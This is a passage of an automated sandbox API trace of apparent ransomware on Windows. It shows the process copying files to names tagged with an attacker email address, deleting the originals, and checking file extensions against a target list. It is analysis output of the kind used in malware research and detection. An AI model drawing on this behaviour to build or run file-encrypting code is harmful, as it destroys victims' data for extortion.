	[0093.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0093.207] GetLastError () returned 0x0
	[0093.207] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x5061, lpOverlapped=0x0) returned 1
	[0093.242] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x5070, lpOverlapped=0x0) returned 1
	[0093.243] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.243] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0093.243] SetEndOfFile (hFile=0x1cc) returned 1
	[0093.243] CloseHandle (hObject=0x1cc) returned 1
	[0093.244] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.244] SetEndOfFile (hFile=0x19c) returned 1
	[0093.245] CloseHandle (hObject=0x19c) returned 1
	[0093.245] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.245] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0093.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.434] lstrlenW (lpString=".doc") returned 4
	[0093.434] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.434] lstrlenW (lpString=".docx") returned 5
	[0093.434] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.434] lstrlenW (lpString=".pdf") returned 4
	[0093.434] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.434] lstrlenW (lpString=".xls") returned 4
	[0093.434] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.435] lstrlenW (lpString=".xlsx") returned 5
	[0093.435] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.435] lstrlenW (lpString=".ppt") returned 4
	[0093.435] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.435] lstrlenW (lpString=".zip") returned 4
	[0093.435] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.435] lstrlenW (lpString=".rar") returned 4
	[0093.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.435] lstrlenW (lpString=".bz2") returned 4
	[0093.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.435] lstrlenW (lpString=".7z") returned 3
	[0093.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.435] lstrlenW (lpString=".dbf") returned 4
	[0093.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.435] lstrlenW (lpString=".1cd") returned 4
	[0093.435] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.436] lstrlenW (lpString=".jpg") returned 4
	[0093.436] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.436] lstrlenW (lpString=".doc") returned 4
	[0093.436] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.436] lstrlenW (lpString=".docx") returned 5
	[0093.436] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.436] lstrlenW (lpString=".pdf") returned 4
	[0093.436] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.436] lstrlenW (lpString=".xls") returned 4
	[0093.436] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.436] lstrlenW (lpString=".xlsx") returned 5
	[0093.436] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.436] lstrlenW (lpString=".ppt") returned 4
	[0093.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.436] lstrlenW (lpString=".zip") returned 4
	[0093.436] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.436] lstrlenW (lpString=".rar") returned 4
	[0093.436] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.436] lstrlenW (lpString=".bz2") returned 4
	[0093.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.436] lstrlenW (lpString=".7z") returned 3
	[0093.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.436] lstrlenW (lpString=".dbf") returned 4
	[0093.437] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.437] lstrlenW (lpString=".1cd") returned 4
	[0093.437] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.437] lstrlenW (lpString=".jpg") returned 4
	[0093.437] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.437] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0093.437] lstrlenW (lpString="MS.GIF") returned 6
	[0093.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.131] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1069) returned 1
	[0094.131] CloseHandle (hObject=0x18c) returned 1
	[0094.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20
	[0094.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.131] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.131] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0
	[0094.132] GetLastError () returned 0x0
	[0094.132] ReadFile (in: hFile=0x18c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x42d, lpOverlapped=0x0) returned 1
	[0094.154] WriteFile (in: hFile=0x1b0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x430, lpOverlapped=0x0) returned 1
	[0094.155] ReadFile (in: hFile=0x18c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0094.155] WriteFile (in: hFile=0x1b0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0094.155] SetEndOfFile (hFile=0x1b0) returned 1
	[0094.155] CloseHandle (hObject=0x1b0) returned 1
	[0094.159] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.159] SetEndOfFile (hFile=0x18c) returned 1
	[0094.160] CloseHandle (hObject=0x18c) returned 1
	[0094.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0094.160] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1
	[0094.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.161] lstrlenW (lpString=".doc") returned 4
	[0094.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0094.161] lstrlenW (lpString=".docx") returned 5
	[0094.161] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1
	[0094.161] lstrlenW (lpString=".pdf") returned 4
	[0094.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0094.161] lstrlenW (lpString=".xls") returned 4
	[0094.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0094.161] lstrlenW (lpString=".xlsx") returned 5
	[0094.161] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1
	[0094.161] lstrlenW (lpString=".ppt") returned 4
	[0094.161] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0094.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.161] lstrlenW (lpString=".zip") returned 4
	[0094.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0094.161] lstrlenW (lpString=".rar") returned 4
	[0094.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0094.161] lstrlenW (lpString=".bz2") returned 4
	[0094.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0094.161] lstrlenW (lpString=".7z") returned 3
	[0094.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0094.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.161] lstrlenW (lpString=".dbf") returned 4
	[0094.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0094.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.161] lstrlenW (lpString=".1cd") returned 4
	[0094.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0094.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.161] lstrlenW (lpString=".jpg") returned 4
	[0094.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0094.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.162] lstrlenW (lpString=".doc") returned 4
	[0094.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0094.162] lstrlenW (lpString=".docx") returned 5
	[0094.162] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1
	[0094.162] lstrlenW (lpString=".pdf") returned 4
	[0094.162] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0094.162] lstrlenW (lpString=".xls") returned 4
	[0094.162] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0094.162] lstrlenW (lpString=".xlsx") returned 5
	[0094.162] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1
	[0094.162] lstrlenW (lpString=".ppt") returned 4
	[0094.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0094.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.162] lstrlenW (lpString=".zip") returned 4
	[0094.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0094.162] lstrlenW (lpString=".rar") returned 4
	[0094.162] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0094.163] lstrlenW (lpString=".bz2") returned 4
	[0094.163] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0094.163] lstrlenW (lpString=".7z") returned 3
	[0094.163] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0094.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.163] lstrlenW (lpString=".dbf") returned 4
	[0094.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0094.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.163] lstrlenW (lpString=".1cd") returned 4
	[0094.163] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0094.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0094.163] lstrlenW (lpString=".jpg") returned 4
	[0094.163] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0094.163] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0094.163] lstrlenW (lpString="Alphabet.xml") returned 12
	[0094.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.168] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=791686) returned 1
	[0094.168] CloseHandle (hObject=0x18c) returned 1
	[0094.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0094.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.169] lstrlenW (lpString=".doc") returned 4
	[0094.169] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.169] lstrlenW (lpString=".docx") returned 5
	[0094.169] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0094.169] lstrlenW (lpString=".pdf") returned 4
	[0094.169] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.169] lstrlenW (lpString=".xls") returned 4
	[0094.169] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.169] lstrlenW (lpString=".xlsx") returned 5
	[0094.169] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0094.169] lstrlenW (lpString=".ppt") returned 4
	[0094.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.169] lstrlenW (lpString=".zip") returned 4
	[0094.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.169] lstrlenW (lpString=".rar") returned 4
	[0094.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.169] lstrlenW (lpString=".bz2") returned 4
	[0094.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.169] lstrlenW (lpString=".7z") returned 3
	[0094.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.170] lstrlenW (lpString=".dbf") returned 4
	[0094.170] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.170] lstrlenW (lpString=".1cd") returned 4
	[0094.170] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.170] lstrlenW (lpString=".jpg") returned 4
	[0094.170] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.170] lstrlenW (lpString=".doc") returned 4
	[0094.170] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.170] lstrlenW (lpString=".docx") returned 5
	[0094.170] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0094.170] lstrlenW (lpString=".pdf") returned 4
	[0094.170] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.170] lstrlenW (lpString=".xls") returned 4
	[0094.170] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.170] lstrlenW (lpString=".xlsx") returned 5
	[0094.170] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0094.170] lstrlenW (lpString=".ppt") returned 4
	[0094.170] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.170] lstrlenW (lpString=".zip") returned 4
	[0094.170] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.170] lstrlenW (lpString=".rar") returned 4
	[0094.170] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.170] lstrlenW (lpString=".bz2") returned 4
	[0094.170] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.171] lstrlenW (lpString=".7z") returned 3
	[0094.171] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.171] lstrlenW (lpString=".dbf") returned 4
	[0094.171] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.171] lstrlenW (lpString=".1cd") returned 4
	[0094.171] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0094.171] lstrlenW (lpString=".jpg") returned 4
	[0094.171] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.171] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0094.171] lstrlenW (lpString="Content.xml") returned 11
	[0094.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.171] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=27045) returned 1
	[0094.172] CloseHandle (hObject=0x18c) returned 1
	[0094.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0094.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.172] lstrlenW (lpString=".doc") returned 4
	[0094.172] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.172] lstrlenW (lpString=".docx") returned 5
	[0094.172] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0094.172] lstrlenW (lpString=".pdf") returned 4
	[0094.172] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.172] lstrlenW (lpString=".xls") returned 4
	[0094.172] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.172] lstrlenW (lpString=".xlsx") returned 5
	[0094.172] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0094.172] lstrlenW (lpString=".ppt") returned 4
	[0094.172] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.172] lstrlenW (lpString=".zip") returned 4
	[0094.172] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.172] lstrlenW (lpString=".rar") returned 4
	[0094.172] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.172] lstrlenW (lpString=".bz2") returned 4
	[0094.172] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.172] lstrlenW (lpString=".7z") returned 3
	[0094.172] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.172] lstrlenW (lpString=".dbf") returned 4
	[0094.172] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.173] lstrlenW (lpString=".1cd") returned 4
	[0094.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.173] lstrlenW (lpString=".jpg") returned 4
	[0094.173] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.173] lstrlenW (lpString=".doc") returned 4
	[0094.173] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString=".docx") returned 5
	[0094.173] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0094.173] lstrlenW (lpString=".pdf") returned 4
	[0094.173] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString=".xls") returned 4
	[0094.173] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString=".xlsx") returned 5
	[0094.173] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0094.173] lstrlenW (lpString=".ppt") returned 4
	[0094.173] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.173] lstrlenW (lpString=".zip") returned 4
	[0094.173] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.173] lstrlenW (lpString=".rar") returned 4
	[0094.173] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString=".bz2") returned 4
	[0094.173] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString=".7z") returned 3
